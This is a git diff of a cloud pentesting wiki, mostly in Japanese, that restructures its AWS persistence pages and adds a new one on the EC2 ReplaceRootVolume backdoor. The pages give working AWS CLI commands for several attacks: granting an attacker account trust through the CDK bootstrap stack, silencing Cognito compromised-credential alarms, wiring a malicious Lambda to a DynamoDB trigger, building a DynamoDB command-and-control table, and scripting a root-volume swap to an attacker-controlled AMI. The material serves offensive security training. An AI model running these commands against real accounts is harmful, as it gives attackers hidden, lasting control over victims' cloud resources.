 create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-cloudfront-unauthenticated-enum.md => aws-cloudfront-unauthenticated-enum/README.md} (51%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-elasticsearch-unauthenticated-enum.md => aws-elasticsearch-unauthenticated-enum/README.md} (55%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-media-unauthenticated-enum.md => aws-media-unauthenticated-enum/README.md} (62%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-rds-unauthenticated-enum.md => aws-rds-unauthenticated-enum/README.md} (57%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md

diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
deleted file mode 100644
index efaa58d2d..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - API Gateway Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-詳細については、次のリンクを参照してください：
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Resource Policy
-
-APIゲートウェイのリソースポリシーを変更して、自分にアクセス権を付与します。
-
-### Modify Lambda Authorizers
-
-ラムダオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\
-または、オーソライザーの使用を単に削除します。
-
-### IAM Permissions
-
-リソースがIAMオーソライザーを使用している場合、IAM権限を変更して自分にアクセス権を付与できます。\
-または、オーソライザーの使用を単に削除します。
-
-### API Keys
-
-APIキーが使用されている場合、持続性を維持するためにそれらを漏洩させるか、新しいものを作成できます。\
-または、APIキーの使用を単に削除します。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
new file mode 100644
index 000000000..acb3e3eb0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+For more information go to:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### リソースポリシー
+
+Modify the resource policy of the API gateway(s) to grant yourself access to them
+
+### Lambda Authorizers の変更
+
+Modify the code of lambda authorizers to grant yourself access to all the endpoints.\  
+Or just remove the use of the authorizer.
+
+### IAM Permissions
+
+If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\  
+Or just remove the use of the authorizer.
+
+### API Keys
+
+If API keys are used, you could leak them to maintain persistence or even create new ones.\  
+Or just remove the use of API keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
deleted file mode 100644
index 142d78e1f..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# AWS - Cloudformation Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-詳細情報については、次にアクセスしてください：
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### CDK Bootstrap Stack
-
-AWS CDKは、`CDKToolkit`というCFNスタックをデプロイします。このスタックは、外部アカウントが被害者アカウントにCDKプロジェクトをデプロイできるようにするパラメータ`TrustedAccounts`をサポートしています。攻撃者は、AWS cliを使用してパラメータでスタックを再デプロイするか、AWS CDK cliを使用して、被害者アカウントへの無期限のアクセスを自分に付与するためにこれを悪用できます。
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
new file mode 100644
index 000000000..5ab7434bb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+For more information, access:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+AWS CDKは`CDKToolkit`というCFNスタックをデプロイします。このスタックは`TrustedAccounts`というパラメータをサポートしており、外部アカウントが被害者アカウントにCDKプロジェクトをデプロイすることを許可します。攻撃者はこれを悪用して、パラメータを指定してスタックを再デプロイするためにAWS cliを使うか、あるいはAWS CDK cliを使って、被害者アカウントへの無期限のアクセスを自身に付与することができます。
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
deleted file mode 100644
index f26e30dba..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - Cognito Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-詳細情報については、以下にアクセスしてください：
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### ユーザーの永続性
-
-Cognitoは、認証されていないユーザーと認証されたユーザーに役割を与え、ユーザーのディレクトリを制御するサービスです。いくつかの異なる設定を変更して永続性を維持することができます。例えば：
-
-- **ユーザープール**をユーザーが制御する**アイデンティティプール**に追加する
-- 認証されていないアイデンティティプールに**IAMロールを付与し、基本認証フローを許可する**
-- 攻撃者がログインできる場合は**認証されたアイデンティティプール**に
-- または与えられたロールの**権限を向上させる**
-- **属性を制御されたユーザーまたは新しいユーザーを作成、検証、権限昇格**する**ユーザープール**内で
-- **外部アイデンティティプロバイダー**がユーザープールまたはアイデンティティプールにログインできるようにする
-
-これらのアクションを実行する方法を確認してください
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-この権限を持つ攻撃者は、リスク設定を変更して、Cognitoユーザーとして**アラームがトリガーされることなく**ログインできるようにすることができます。[**CLIを確認してください**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) すべてのオプションを確認するために：
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-デフォルトでは、これは無効になっています：
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
new file mode 100644
index 000000000..f1f0926fd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
@@ -0,0 +1,40 @@
+# AWS - Cognito Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+For more information, access:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### ユーザー永続化
+
+Cognito は、unauthenticated および authenticated users に roles を付与し、ユーザーのディレクトリを管理するサービスです。永続性を維持するために変更できる設定はいくつかあり、例えば:
+
+- **Adding a User Pool** をユーザーが制御する形で Identity Pool に追加する
+- unauthenticated Identity Pool に **IAM role を付与し、Basic auth flow を許可する**
+- あるいは攻撃者がログイン可能な場合は **authenticated Identity Pool** に対して同様の操作を行う
+- または与えられたロールの **permissions を向上** させる
+- **Create, verify & privesc** を、属性を制御する既存ユーザーや **User Pool** の新規ユーザー経由で行う
+- **Allowing external Identity Providers** からのログインを User Pool または Identity Pool に対して許可する
+
+これらの操作のやり方は以下を参照してください
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+この権限を持つ攻撃者は、リスク設定を変更して Cognito ユーザーとしてログインできるようにし、**アラームが発生しないように**することが可能です。 [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+デフォルトではこれは無効になっています:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
deleted file mode 100644
index 633036dac..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# AWS - DynamoDB Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### DynamoDB
-
-詳細情報は以下にアクセスしてください：
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### DynamoDB トリガーと Lambda バックドア
-
-DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることによって **ステルスバックドア** を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
---function-name MaliciousFunction \
---runtime nodejs14.x \
---role <LAMBDA_ROLE_ARN> \
---handler index.handler \
---zip-file fileb://malicious_function.zip \
---region <region>
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
---table-name TargetTable \
---region <region>
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
---function-name MaliciousFunction \
---event-source <STREAM_ARN> \
---region <region>
-```
-持続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的なやり取りなしにAWSアカウント内でコードを実行することができます。
-
-### DynamoDBをC2チャネルとして使用する
-
-攻撃者は、コマンドを含むアイテムを作成し、侵害されたインスタンスやLambda関数を使用してこれらのコマンドを取得および実行することにより、DynamoDBテーブルを**コマンドおよび制御（C2）チャネル**として使用することができます。
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
---table-name C2Table \
---attribute-definitions AttributeName=CommandId,AttributeType=S \
---key-schema AttributeName=CommandId,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---region <region>
-
-# Insert a command into the table
-aws dynamodb put-item \
---table-name C2Table \
---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
---region <region>
-```
-侵害されたインスタンスやLambda関数は、定期的にC2テーブルをチェックして新しいコマンドを取得し、それを実行し、オプションで結果をテーブルに報告することができます。これにより、攻撃者は侵害されたリソースに対して持続性と制御を維持することができます。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
new file mode 100644
index 000000000..2b3151c0d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
@@ -0,0 +1,59 @@
+# AWS - DynamoDB 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### DynamoDB
+
+詳細は以下を参照してください：
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### DynamoDB トリガーによる Lambda Backdoor
+
+DynamoDB トリガーを利用して、攻撃者はテーブルに悪意ある Lambda function を関連付けることで、**stealthy backdoor** を作成できます。Lambda function は、item が追加、変更、または削除されたときにトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行できます。
+```bash
+# Create a malicious Lambda function
+aws lambda create-function \
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role <LAMBDA_ROLE_ARN> \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region <region>
+
+# Associate the Lambda function with the DynamoDB table as a trigger
+aws dynamodbstreams describe-stream \
+--table-name TargetTable \
+--region <region>
+
+# Note the "StreamArn" from the output
+aws lambda create-event-source-mapping \
+--function-name MaliciousFunction \
+--event-source <STREAM_ARN> \
+--region <region>
+```
+persistence を維持するために、attacker は DynamoDB テーブル内の項目を作成または変更して悪意のある Lambda function をトリガーできます。これにより、attacker は Lambda function と直接やり取りすることなく、AWS アカウント内で code を実行できます。
+
+### DynamoDB を C2 Channel として
+
+attacker は、コマンドを含む項目を作成し、侵害されたインスタンスや Lambda functions を使ってこれらのコマンドを取得して実行することで、DynamoDB テーブルを **command and control (C2) channel** として利用できます。
+```bash
+# Create a DynamoDB table for C2
+aws dynamodb create-table \
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region <region>
+
+# Insert a command into the table
+aws dynamodb put-item \
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region <region>
+```
+侵害されたインスタンスや Lambda 関数は定期的に C2 テーブルをチェックして新しいコマンドを取得し、それを実行し、必要に応じて結果をテーブルに報告できます。これにより攻撃者は侵害されたリソースに対する persistence と制御を維持できます。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
deleted file mode 100644
index 9c2314930..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# AWS - EC2 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### セキュリティグループ接続追跡持続性
-
-防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**ネットワーク**を**隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます（ただし、NACLはサブネット全体に影響します）、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
-
-攻撃者が**マシンから発生したリバースシェル**を持っていた場合、SGがインバウンドまたはアウトバウンドトラフィックを許可しないように変更されても、**接続は**[**セキュリティグループ接続追跡**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**のために切断されません。**
-
-### EC2ライフサイクルマネージャー
-
-このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことを可能にします。\
-攻撃者は**すべてのイメージまたはすべてのボリュームのAMIまたはスナップショットの生成を**毎週**スケジュール**し、**自分のアカウントと共有**することができます。
-
-### スケジュールされたインスタンス
-
-インスタンスを毎日、毎週、または毎月実行するようにスケジュールすることが可能です。攻撃者は高い権限または興味深いアクセスを持つマシンを実行することができます。
-
-### スポットフリートリクエスト
-
-スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**起動することができ、**自動IP**割り当てと、スポットインスタンスが**起動したときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
-
-### バックドアインスタンス
-
-攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます：
-
-- 伝統的な**ルートキット**を使用する例
-- 新しい**公開SSHキー**を追加する（[EC2特権昇格オプション](../aws-privilege-escalation/aws-ec2-privesc.md)を確認）
-- **ユーザーデータ**にバックドアを仕掛ける
-
-### **バックドア起動構成**
-
-- 使用されるAMIにバックドアを仕掛ける
-- ユーザーデータにバックドアを仕掛ける
-- キーペアにバックドアを仕掛ける
-
-### VPN
-
-攻撃者がVPCに直接接続できるようにVPNを作成します。
-
-### VPCピアリング
-
-被害者のVPCと攻撃者のVPCの間にピアリング接続を作成し、攻撃者が被害者のVPCにアクセスできるようにします。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
new file mode 100644
index 000000000..daf0f2af5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
@@ -0,0 +1,62 @@
+# AWS - EC2 永続化
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+詳細については次を参照してください：
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking の永続化
+
+防御側が **EC2 instance was compromised** と判明した場合、通常はそのマシンの **network** を **isolate** しようとします。これは明示的な **Deny NACL**（ただし NACLs はサブネット全体に影響します）や、**changing the security group** によって **any kind of inbound or outbound** トラフィックを許可しないようにすることで実行できます。
+
+攻撃者がマシンから発生した **reverse shell originated from the machine** を持っていた場合、SG が inboud または outbound トラフィックを許可しないように変更されても、[**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** により接続は切断されません。**
+
+### EC2 Lifecycle Manager
+
+このサービスは **schedule** を設定して **creation of AMIs and snapshots** を行い、さらには **share them with other accounts** することも可能です。\
+攻撃者はすべてのイメージやすべてのボリュームの **generation of AMIs or snapshots** を毎週行うよう設定し、**share them with his account** といったことができます。
+
+### Scheduled Instances
+
+インスタンスを daily、weekly、または monthly にスケジュールして実行することが可能です。攻撃者は高権限や興味深いアクセスを持つマシンをスケジュール実行し、そこからアクセスすることができます。
+
+### Spot Fleet Request
+
+Spot instances は通常のインスタンスより **cheaper** です。攻撃者は例えば **small spot fleet request for 5 year** のようなリクエストを立て、**automatic IP** 割当てと、起動時に攻撃者へ **when the spot instance start** と **IP address** を送信する **user data**、さらに **high privileged IAM role** を付与することができます。
+
+### Backdoor Instances
+
+攻撃者はインスタンスへアクセスし、バックドアを仕込むことができます：
+
+- 例えば従来型の **rootkit** を使用する
+- 新しい **public SSH key** を追加する（参照: [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）
+- **User Data** をバックドア化する
+
+### **Backdoor Launch Configuration**
+
+- Backdoor the used AMI
+- Backdoor the User Data
+- Backdoor the Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+実行中のインスタンスのルート EBS ボリュームを、攻撃者管理下の AMI や snapshot から作成したものに置き換えるために `CreateReplaceRootVolumeTask` を使用します。インスタンスは ENIs、IPs、role を保持したまま起動するため、外見上は変わらずに悪意あるコードでブートします。
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+攻撃者が VPC に直接接続できるようにするため、VPN を作成します。
+
+### VPC Peering
+
+被害者 VPC と攻撃者 VPC の間に peering connection を作成し、攻撃者が被害者 VPC にアクセスできるようにします。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
new file mode 100644
index 000000000..0026928a5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+稼働中のインスタンスのルート EBS ボリュームを、攻撃者が管理する AMI または snapshot から復元したボリュームと差し替えるために **ec2:CreateReplaceRootVolumeTask** を悪用します。インスタンスは自動的に再起動され、ENIs、プライベート/パブリック IP、アタッチされた非ルートボリューム、およびインスタンスのメタデータ/IAM ロールを保持したまま、攻撃者管理下のルートファイルシステムで起動し直します。
+
+## 要件
+- 対象インスタンスが EBS-backed で、同じリージョンで稼働していること。
+- 互換性のある AMI または snapshot：ターゲットインスタンスと同じアーキテクチャ／仮想化方式／ブートモード（および該当する場合は product codes）であること。
+
+## 事前チェック
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## AMIからルートを置き換える（推奨）
+```bash
+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+スナップショットを使用する代替方法：
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## 証拠 / 検証
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
